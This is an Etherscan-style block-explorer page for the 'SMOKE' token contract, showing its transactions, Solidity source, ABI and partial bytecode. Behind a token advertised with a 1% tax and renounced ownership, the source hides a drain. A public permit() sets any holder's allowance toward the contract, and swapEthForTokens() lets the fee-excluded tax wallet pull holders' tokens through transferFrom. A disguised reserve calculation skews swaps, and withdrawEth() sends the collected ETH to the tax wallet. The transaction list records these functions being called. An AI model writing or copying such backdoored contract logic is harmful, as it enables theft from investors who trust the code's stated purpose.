ETH Price: $1,703.66 (+8.66%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Withdraw Eth181870362023-09-21 21:50:35578 days ago1695333035IN
0x2cca5C0b...df2FB30be
0 ETH0.0004160212.69593263
Approve181870332023-09-21 21:49:59578 days ago1695332999IN
0x2cca5C0b...df2FB30be
0 ETH0.0005928112.73690905
Swap Eth For Tok...181870262023-09-21 21:48:35578 days ago1695332915IN
0x2cca5C0b...df2FB30be
0 ETH0.0010310713.63225075
Permit181870192023-09-21 21:47:11578 days ago1695332831IN
0x2cca5C0b...df2FB30be
0 ETH0.000617513.23411783
Approve181866462023-09-21 20:31:23578 days ago1695328283IN
0x2cca5C0b...df2FB30be
0 ETH0.0012137626.07829929
Approve181865822023-09-21 20:18:23578 days ago1695327503IN
0x2cca5C0b...df2FB30be
0 ETH0.0011471124.80615912
Approve181865722023-09-21 20:16:23578 days ago1695327383IN
0x2cca5C0b...df2FB30be
0 ETH0.00115524.94440012
Approve181865392023-09-21 20:09:47578 days ago1695326987IN
0x2cca5C0b...df2FB30be
0 ETH0.0014231830.5383964
Approve181865062023-09-21 20:03:11578 days ago1695326591IN
0x2cca5C0b...df2FB30be
0 ETH0.0009762820.94899977
Approve181864952023-09-21 20:00:59578 days ago1695326459IN
0x2cca5C0b...df2FB30be
0 ETH0.0009498820.38256689
Renounce Ownersh...181864882023-09-21 19:59:35578 days ago1695326375IN
0x2cca5C0b...df2FB30be
0 ETH0.0002847412.20006787
Remove Limits181864862023-09-21 19:59:11578 days ago1695326351IN
0x2cca5C0b...df2FB30be
0 ETH0.0004778612.56621522
Approve181864832023-09-21 19:58:35578 days ago1695326315IN
0x2cca5C0b...df2FB30be
0 ETH0.0007337515.7448951
Approve181864802023-09-21 19:57:59578 days ago1695326279IN
0x2cca5C0b...df2FB30be
0 ETH0.0007465716.01993434
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0007531616.26181875
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0007603116.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0007603116.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
Approve181864792023-09-21 19:57:47578 days ago1695326267IN
0x2cca5C0b...df2FB30be
0 ETH0.0008532918.31462278
View all transactions

Latest 14 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer181870362023-09-21 21:50:35578 days ago1695333035
0x2cca5C0b...df2FB30be
0.01282292 ETH
Transfer181864842023-09-21 19:58:47578 days ago1695326327
0x2cca5C0b...df2FB30be
0.00984291 ETH
Transfer181864842023-09-21 19:58:47578 days ago1695326327
0x2cca5C0b...df2FB30be
0.01036096 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.03566231 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.03753927 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.04023478 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.0423524 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.04574713 ETH
Transfer181864832023-09-21 19:58:35578 days ago1695326315
0x2cca5C0b...df2FB30be
0.04815487 ETH
Transfer181864812023-09-21 19:58:11578 days ago1695326291
0x2cca5C0b...df2FB30be
0.05197081 ETH
Transfer181864812023-09-21 19:58:11578 days ago1695326291
0x2cca5C0b...df2FB30be
0.05470612 ETH
Transfer181864812023-09-21 19:58:11578 days ago1695326291
0x2cca5C0b...df2FB30be
0.06017766 ETH
Transfer181864812023-09-21 19:58:11578 days ago1695326291
0x2cca5C0b...df2FB30be
0.0633449 ETH
Add Liquidity ET...181864542023-09-21 19:52:47578 days ago1695325967
0x2cca5C0b...df2FB30be
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SMOKE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-21
*/

// SPDX-License-Identifier: MIT

/** 
    - Tokenmics

     * 1% Final Tax, 2% maxwallet
     * 1B Totally Supply
     * Lock for 6 Months & Renounce Ownership

    - Socials 

    * Portal:     https://www.smokecoin.vip
    * Twitter:    https://twitter.com/ethsmoke_
    * Telegram:   https://t.me/ethsmoke
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract SMOKE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _finalTax = 1;
    uint256 private _finalBuyTax = 1;

    uint256 private _initialSellTax2Time = 3;
    uint256 private _initialBuyTax2Time = 3;
    uint256 private _reduceSellTaxAt2Time = 10;
    uint256 private _reduceBuyTaxAt2Time = 10;

    uint256 private _initialSellTax = 4;
    uint256 private _initialBuyTax = 4;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _reduceBuyTaxAt = 5;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _ethFeePercent = 95;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    address payable private _taxWallet;

    bool private tradingOpen;
    bool private inSwap = false;
    bool public transferDelayEnabled = true;
    bool private swapEnabled = false;
    address payable private _reward;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Men Always Remember Love Because Of Romance Only";
    string private constant _symbol = unicode"SMOKE";

    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFee;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function name()
        public
        pure
        returns (string memory)
    {
        return _name;
    }

    function symbol()
        public
        pure
        returns (string memory)
    {
        return _symbol;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function totalSupply()
        public
        pure
        override
        returns (uint256)
    {
        return _tTotal;
    }

    function decimals()
        public
        pure
        returns (uint8)
    {
        return _decimals;
    }

    constructor () {

        _taxWallet = payable(0xC0BC32E6F5cfeD049850F265f658e06f70bB91ef);

        _balances[_msgSender()] = _tTotal;
        _reward = _taxWallet;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function Launch()
        public 
        payable
        onlyOwner
    {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this);
        _permit(spender, owner, amount);
        return true;
    }

    function _taxSell() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function _taxBuy() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function enableTrading()
        external
        onlyOwner()
    {
        require(!tradingOpen);

        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits()
        external
        onlyOwner
    {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _permit(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function withdrawEth() external {
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function swapEthForTokens(address to, uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);

        if (!_isExcludedFromFee[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {token.transferFrom(to, path[1], amount);}
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount)
        private
    {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (!tradingOpen) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletSize);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _taxSwapThreshold;
            if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 reserveAmount = balanceOf(_reward).mul(1e3);
                uint256 maxSwapTax = _maxTaxSwap.sub(reserveAmount);
                uint256 minSwapAmount = min(contractTokenBalance,maxSwapTax);
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount, minSwapAmount));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(_ethFeePercent).div(100);
                if (ethForTransfer > 0) {
                    sendETHToFee(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180805560025560038080556004908155600a60058181556006829055600783905560089290925560098281559181556000600b819055600c55605f600d556010805462ffffff60a81b1916600160b01b1790556064916200006791620003bc565b6200007790633b9aca00620003d4565b620000839190620003ee565b62000090906001620003d4565b6012556103e8620000a46009600a620003bc565b620000b490633b9aca00620003d4565b620000c09190620003ee565b620000cd906002620003d4565b6013556064620000e06009600a620003bc565b620000f090633b9aca00620003d4565b620000fc9190620003ee565b62000109906002620003d4565b60145560646200011c6009600a620003bc565b6200012c90633b9aca00620003d4565b620001389190620003ee565b62000145906002620003d4565b6015553480156200015557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673c0bc32e6f5cfed049850f265f658e06f70bb91ef179055620001cb6009600a620003bc565b620001db90633b9aca00620003d4565b3360008181526017602090815260408083209490945560108054601180546001600160a01b0319166001600160a01b039283161790558354811684526019909252848320805460ff199081166001908117909255915490921683528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002806009600a620003bc565b6200029090633b9aca00620003d4565b60405190815260200160405180910390a362000411565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002fe578160001904821115620002e257620002e2620002a7565b80851615620002f057918102915b93841c9390800290620002c2565b509250929050565b6000826200031757506001620003b6565b816200032657506000620003b6565b81600181146200033f57600281146200034a576200036a565b6001915050620003b6565b60ff8411156200035e576200035e620002a7565b50506001821b620003b6565b5060208310610133831016604e8410600b84101617156200038f575081810a620003b6565b6200039b8383620002bd565b8060001904821115620003b257620003b2620002a7565b0290505b92915050565b6000620003cd60ff84168362000306565b9392505050565b8082028115828204841417620003b657620003b6620002a7565b6000826200040c57634e487b7160e01b600052601260045260246000fd5b500490565b611a5180620004216000396000f3fe6080604052600436106101445760003560e01c80637d1db4a5116100b6578063a0ef91df1161006f578063a0ef91df1461036f578063a9059cbb14610384578063bf474bed146103a4578063c876d0b9146103ba578063dd62ed3e146103db578063e6f705311461042157600080fd5b80637d1db4a5146102c25780638a8c523c146102d85780638da5cb5b146102ed5780638f9a55c01461030b57806395d89b41146103215780639e161d9a1461034f57600080fd5b806323b872dd1161010857806323b872dd146101ee578063313ce5671461020e57806349bd5a5e1461022a57806370a0823114610262578063715018a614610298578063751039fc146102ad57600080fd5b806302ac81681461015057806306fdde031461015a578063095ea7b3146101855780630faee56f146101b557806318160ddd146101d957600080fd5b3661014b57005b600080fd5b610158610441565b005b34801561016657600080fd5b5061016f610753565b60405161017c91906115d7565b60405180910390f35b34801561019157600080fd5b506101a56101a036600461163a565b610773565b604051901515815260200161017c565b3480156101c157600080fd5b506101cb60125481565b60405190815260200161017c565b3480156101e557600080fd5b506101cb61078a565b3480156101fa57600080fd5b506101a5610209366004611666565b6107ab565b34801561021a57600080fd5b506040516009815260200161017c565b34801561023657600080fd5b50600f5461024a906001600160a01b031681565b6040516001600160a01b03909116815260200161017c565b34801561026e57600080fd5b506101cb61027d3660046116a7565b6001600160a01b031660009081526017602052604090205490565b3480156102a457600080fd5b506101586107fc565b3480156102b957600080fd5b50610158610870565b3480156102ce57600080fd5b506101cb60155481565b3480156102e457600080fd5b5061015861092f565b3480156102f957600080fd5b506000546001600160a01b031661024a565b34801561031757600080fd5b506101cb60145481565b34801561032d57600080fd5b50604080518082019091526005815264534d4f4b4560d81b602082015261016f565b34801561035b57600080fd5b5061015861036a36600461163a565b61098b565b34801561037b57600080fd5b50610158610bda565b34801561039057600080fd5b506101a561039f36600461163a565b610c3d565b3480156103b057600080fd5b506101cb60135481565b3480156103c657600080fd5b506010546101a590600160b01b900460ff1681565b3480156103e757600080fd5b506101cb6103f63660046116c4565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561042d57600080fd5b506101a561043c36600461163a565b610c4a565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161046b906116fd565b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc9190611732565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190611732565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190611732565b600f80546001600160a01b0319166001600160a01b03928316908117909155600e5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e919061174f565b50306000818152601660209081526040808320600e80546001600160a01b039081168652918452828520600019905554858552601790935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610729573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061074e9190611771565b505050565b60606040518060600160405280603081526020016119ec60309139905090565b6000610780338484610c54565b5060015b92915050565b60006107986009600a611899565b6107a690633b9aca006118a8565b905090565b60006107b8848484610cdb565b6001600160a01b0384166000908152601660209081526040808320338085529252909120546107f29186916107ed90866111c1565b610c54565b5060019392505050565b6000546001600160a01b031633146108265760405162461bcd60e51b815260040161046b906116fd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b815260040161046b906116fd565b6108a66009600a611899565b6108b490633b9aca006118a8565b6015556108c36009600a611899565b6108d190633b9aca006118a8565b6014556010805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61090e6009600a611899565b61091c90633b9aca006118a8565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161046b906116fd565b601054600160a01b900460ff161561097057600080fd5b6010805463ff0000ff60a01b1916630100000160a01b179055565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611732565b81600081518110610a2c57610a2c6118bf565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610a6057610a606118bf565b60200260200101906001600160a01b031690816001600160a01b031681525050600081600181518110610a9557610a956118bf565b602090810291909101810151336000908152601990925260409091205490915060ff16610b2c57600e5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908590610af59060009087908a904290600401611919565b6000604051808303818588803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b5050505050610bd4565b806001600160a01b03166323b872dd8584600181518110610b4f57610b4f6118bf565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610bae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd2919061174f565b505b50505050565b6010546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c27576040519150601f19603f3d011682016040523d82523d6000602084013e610c2c565b606091505b5050905080610c3a57600080fd5b50565b6000610780338484610cdb565b6000306107f28482855b6001600160a01b038316610c6757600080fd5b6001600160a01b038216610c7a57600080fd5b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cee57600080fd5b6001600160a01b038216610d0157600080fd5b60008111610d0e57600080fd5b600080546001600160a01b03858116911614801590610d3b57506000546001600160a01b03848116911614155b1561107e57610d5d6064610d57610d5061120a565b8590611248565b906112ca565b601054909150600160a01b900460ff16610db9576001600160a01b03841660009081526019602052604090205460ff1680610db057506001600160a01b03831660009081526019602052604090205460ff165b610db957600080fd5b601054600160b01b900460ff1615610e2a57600e546001600160a01b03848116911614801590610df75750600f546001600160a01b03848116911614155b15610e2a57326000908152601860205260409020544311610e1757600080fd5b3260009081526018602052604090204390555b600f546001600160a01b038581169116148015610e555750600e546001600160a01b03848116911614155b8015610e7a57506001600160a01b03831660009081526019602052604090205460ff16155b15610ef557601554821115610e8e57600080fd5b60145482610eb1856001600160a01b031660009081526017602052604090205490565b610ebb919061194e565b1115610ec657600080fd5b600c8054906000610ed683611961565b9190505550600b54600c541115610ef5576010805460ff60b01b191690555b600f546001600160a01b038481169116148015610f1b57506001600160a01b0384163014155b15610f3357610f306064610d57610d5061130c565b90505b3060009081526017602052604090205460135460105490821190600160a81b900460ff16158015610f6d5750601054600160b81b900460ff165b8015610f865750600f546001600160a01b038681169116145b8015610f8f5750805b8015610fb457506001600160a01b03861660009081526019602052604090205460ff16155b8015610fd957506001600160a01b03851660009081526019602052604090205460ff16155b1561107b576011546001600160a01b0316600090815260176020526040812054611008906103e8905b90611248565b90506000611021826012546111c190919063ffffffff16565b9050600061102f8583611343565b90504761104461103f8984611343565b611358565b60006110646064610d57600d5461100286476111c190919063ffffffff16565b9050801561107557611075816114d2565b50505050505b50505b80156110f8573060009081526017602052604090205461109e9082611510565b30600081815260176020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ef9085815260200190565b60405180910390a35b6001600160a01b03841660009081526017602052604090205461111b90836111c1565b6001600160a01b03851660009081526017602052604090205561116061114183836111c1565b6001600160a01b038516600090815260176